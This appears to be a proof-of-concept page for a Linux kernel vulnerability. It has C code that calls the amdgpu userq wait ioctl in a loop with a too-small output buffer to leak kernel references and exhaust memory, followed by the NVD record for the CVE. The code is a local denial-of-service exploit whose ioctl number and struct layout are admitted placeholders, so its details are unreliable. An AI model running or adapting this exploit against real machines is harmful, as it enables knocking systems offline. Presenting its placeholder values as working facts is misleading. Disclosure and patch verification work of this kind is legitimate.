CVE-2026-43399

/* * PoC for CVE-2026-43399 * Trigger reference leak in amdgpu_userq_wait_ioctl by providing * a small output buffer. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <string.h> // Define the IOCTL command number for amdgpu_userq_wait_ioctl // This value is illustrative and depends on the kernel header definitions #define DRM_IOCTL_AMDGPU_USERQ_WAIT 0x40 // Placeholder struct amdgpu_userq_wait_args { __u64 out_ptr; // Pointer to output array __u32 out_size; // Size of output array // ... other fields ... }; int main() { int fd = -1; // Attempt to open the AMD GPU device // Common paths: /dev/dri/renderD128, /dev/dri/card0 const char* device_paths[] = {"/dev/dri/renderD128", "/dev/dri/card0"}; for (int i = 0; i < 2; i++) { fd = open(device_paths[i], O_RDWR); if (fd >= 0) { printf("[+] Opened device: %s\n", device_paths[i]); break; } } if (fd < 0) { perror("[-] Failed to open device"); return 1; } struct amdgpu_userq_wait_args args; memset(&args, 0, sizeof(args)); // Allocate a small buffer to trigger the error path char small_buf[4]; args.out_ptr = (__u64)(unsigned long)small_buf; args.out_size = 4; // Intentionally too small printf("[*] Triggering vulnerability in a loop...\n"); // Loop to exhaust resources for(int i = 0; i < 10000; i++) { if (ioctl(fd, DRM_IOCTL_AMDGPU_USERQ_WAIT, &args) < 0) { // Expected to fail due to small buffer, but should clean up refs // Vulnerability: cleanup is missing here } if (i % 1000 == 0) printf("Iterations: %d\n", i); } close(fd); printf("[*] Done. Check kernel memory usage.\n"); return 0; }

{"cve": {"id": "CVE-2026-43399", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:51.327", "lastModified": "2026-05-21T19:28:12.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu/userq: Fix reference leak in amdgpu_userq_wait_ioctl\n\nDrop reference to syncobj and timeline fence when aborting the ioctl due\noutput array being too small.\n\n(cherry picked from commit 68951e9c3e6bb22396bc42ef2359751c8315dd27)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16", "versionEndExcluding": "6.18.19", "matchCriteriaId": "F7766422-FDBE-437C-8710-C7F7094B8844"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/49abfa812617a7f2d0132c70d23ac98b389c6ec1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5409247d41f372bec5b141ef599f2d9f5e81b746", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/762f47e2b824383d5be65eee2c40a1269b7d50c8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}